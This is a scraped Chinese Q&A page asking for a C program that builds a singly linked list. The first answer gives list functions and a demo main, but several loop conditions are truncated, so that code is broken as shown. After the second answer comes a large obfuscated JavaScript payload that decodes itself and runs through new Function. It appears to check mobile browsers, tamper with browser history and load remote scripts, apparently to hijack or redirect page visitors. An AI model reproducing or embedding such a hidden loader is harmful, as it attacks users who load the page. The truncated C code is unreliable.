该程序的功能是实现建立一个单链表,调用单链表操作的各种函数,完成各种操作功能,并显示结果。程序中的单

2025-02-07 04:35:06
推荐回答(2个)
回答1:

#include "stdio.h"
#include "string.h"
#include "ctype.h"
#include "stdlib.h"
#include "io.h"
#include "math.h"
#include "time.h"

#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0

#define MAXSIZE 20 /* 存储空间初始分配量 */

typedef int Status;/* Status是函数的类型,其值是函数结果状态代码,如OK等 */
typedef int ElemType;/* ElemType类型根据实际情况而定,这里假设为int */

Status visit(ElemType c)
{
printf("%d ",c);
return OK;
}

typedef struct Node
{
ElemType data;
struct Node *next;
}Node;
typedef struct Node *LinkList; /* 定义LinkList */

/* 初始化顺序线性表 */
Status InitList(LinkList *L)
{
*L=(LinkList)malloc(sizeof(Node)); /* 产生头结点,并使L指向此头结点 */
if(!(*L)) /* 存储分配失败 */
return ERROR;
(*L)->next=NULL; /* 指针域为空 */

return OK;
}

/* 初始条件:顺序线性表L已存在。操作结果:若L为空表,则返回TRUE,否则返回FALSE */
Status ListEmpty(LinkList L)
{
if(L->next)
return FALSE;
else
return TRUE;
}

/* 初始条件:顺序线性表L已存在。操作结果:将L重置为空表 */
Status ClearList(LinkList *L)
{
LinkList p,q;
p=(*L)->next; /* p指向第一个结点 */
while(p) /* 没到表尾 */
{
q=p->next;
free(p);
p=q;
}
(*L)->next=NULL; /* 头结点指针域为空 */
return OK;
}

/* 初始条件:顺序线性表L已存在。操作结果:返回L中数据元素个数 */
int ListLength(LinkList L)
{
int i=0;
LinkList p=L->next; /* p指向第一个结点 */
while(p)
{
i++;
p=p->next;
}
return i;
}

/* 初始条件:顺序线性表L已存在,1≤i≤ListLength(L) */
/* 操作结果:用e返回L中第i个数据元素的值 */
Status GetElem(LinkList L,int i,ElemType *e)
{
int j;
LinkList p; /* 声明一结点p */
p = L->next; /* 让p指向链表L的第一个结点 */
j = 1; /* j为计数器 */
while (p && j {
p = p->next; /* 让p指向下一个结点 */
++j;
}
if ( !p || j>i )
return ERROR; /* 第i个元素不存在 */
*e = p->data; /* 取第i个元素的数据 */
return OK;
}

/* 初始条件:顺序线性表L已存在 */
/* 操作结果:返回L中第1个与e满足关系的数据元素的位序。 */
/* 若这样的数据元素不存在,则返回值为0 */
int LocateElem(LinkList L,ElemType e)
{
int i=0;
LinkList p=L->next;
while(p)
{
i++;
if(p->data==e) /* 找到这样的数据元素 */
return i;
p=p->next;
}

return 0;
}

/* 初始条件:顺序线性表L已存在,1≤i≤ListLength(L), */
/* 操作结果:在L中第i个位置之前插入新的数据元素e,L的长度加1 */
Status ListInsert(LinkList *L,int i,ElemType e)
{
int j;
LinkList p,s;
p = *L;
j = 1;
while (p && j < i) /* 寻找第i个结点 */
{
p = p->next;
++j;
}
if (!p || j > i)
return ERROR; /* 第i个元素不存在 */
s = (LinkList)malloc(sizeof(Node)); /* 生成新结点(C语言标准函数) */
s->data = e;
s->next = p->next; /* 将p的后继结点赋值给s的后继 */
p->next = s; /* 将s赋值给p的后继 */
return OK;
}

/* 初始条件:顺序线性表L已存在,1≤i≤ListLength(L) */
/* 操作结果:删除L的第i个数据元素,并用e返回其值,L的长度减1 */
Status ListDelete(LinkList *L,int i,ElemType *e)
{
int j;
LinkList p,q;
p = *L;
j = 1;
while (p->next && j < i) /* 遍历寻找第i个元素 */
{
p = p->next;
++j;
}
if (!(p->next) || j > i)
return ERROR; /* 第i个元素不存在 */
q = p->next;
p->next = q->next; /* 将q的后继赋值给p的后继 */
*e = q->data; /* 将q结点中的数据给e */
free(q); /* 让系统回收此结点,释放内存 */
return OK;
}

/* 初始条件:顺序线性表L已存在 */
/* 操作结果:依次对L的每个数据元素输出 */
Status ListTraverse(LinkList L)
{
LinkList p=L->next;
while(p)
{
visit(p->data);
p=p->next;
}
printf("\n");
return OK;
}

/* 随机产生n个元素的值,建立带表头结点的单链线性表L(头插法) */
void CreateListHead(LinkList *L, int n)
{
LinkList p;
int i;
srand(time(0)); /* 初始化随机数种子 */
*L = (LinkList)malloc(sizeof(Node));
(*L)->next = NULL; /* 先建立一个带头结点的单链表 */
for (i=0; i {
p = (LinkList)malloc(sizeof(Node)); /* 生成新结点 */
p->data = rand()%100+1; /* 随机生成100以内的数字 */
p->next = (*L)->next;
(*L)->next = p; /* 插入到表头 */
}
}

/* 随机产生n个元素的值,建立带表头结点的单链线性表L(尾插法) */
void CreateListTail(LinkList *L, int n)
{
LinkList p,r;
int i;
srand(time(0)); /* 初始化随机数种子 */
*L = (LinkList)malloc(sizeof(Node)); /* L为整个线性表 */
r=*L; /* r为指向尾部的结点 */
for (i=0; i {
p = (Node *)malloc(sizeof(Node)); /* 生成新结点 */
p->data = rand()%100+1; /* 随机生成100以内的数字 */
r->next=p; /* 将表尾终端结点的指针指向新结点 */
r = p; /* 将当前的新结点定义为表尾终端结点 */
}
r->next = NULL; /* 表示当前链表结束 */
}

int main()
{
LinkList L;
ElemType e;
Status i;
int j,k;
i=InitList(&L);
printf("初始化L后:ListLength(L)=%d\n",ListLength(L));
for(j=1;j<=5;j++)
i=ListInsert(&L,1,j);
printf("在L的表头依次插入1~5后:L.data=");
ListTraverse(L);

printf("ListLength(L)=%d \n",ListLength(L));
i=ListEmpty(L);
printf("L是否空:i=%d(1:是 0:否)\n",i);

i=ClearList(&L);
printf("清空L后:ListLength(L)=%d\n",ListLength(L));
i=ListEmpty(L);
printf("L是否空:i=%d(1:是 0:否)\n",i);

for(j=1;j<=10;j++)
ListInsert(&L,j,j);
printf("在L的表尾依次插入1~10后:L.data=");
ListTraverse(L);

printf("ListLength(L)=%d \n",ListLength(L));

ListInsert(&L,1,0);
printf("在L的表头插入0后:L.data=");
ListTraverse(L);
printf("ListLength(L)=%d \n",ListLength(L));

GetElem(L,5,&e);
printf("第5个元素的值为:%d\n",e);
for(j=3;j<=4;j++)
{
k=LocateElem(L,j);
if(k)
printf("第%d个元素的值为%d\n",k,j);
else
printf("没有值为%d的元素\n",j);
}

k=ListLength(L); /* k为表长 */
for(j=k+1;j>=k;j--)
{
i=ListDelete(&L,j,&e); /* 删除第j个数据 */
if(i==ERROR)
printf("删除第%d个数据失败\n",j);
else
printf("删除第%d个的元素值为:%d\n",j,e);
}
printf("依次输出L的元素:");
ListTraverse(L);

j=5;
ListDelete(&L,j,&e); /* 删除第5个数据 */
printf("删除第%d个的元素值为:%d\n",j,e);

printf("依次输出L的元素:");
ListTraverse(L);

i=ClearList(&L);
printf("\n清空L后:ListLength(L)=%d\n",ListLength(L));
CreateListHead(&L,20);
printf("整体创建L的元素(头插法):");
ListTraverse(L);

i=ClearList(&L);
printf("\n删除L后:ListLength(L)=%d\n",ListLength(L));
CreateListTail(&L,20);
printf("整体创建L的元素(尾插法):");
ListTraverse(L);

return 0;
}

回答2:

你要做什么?

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();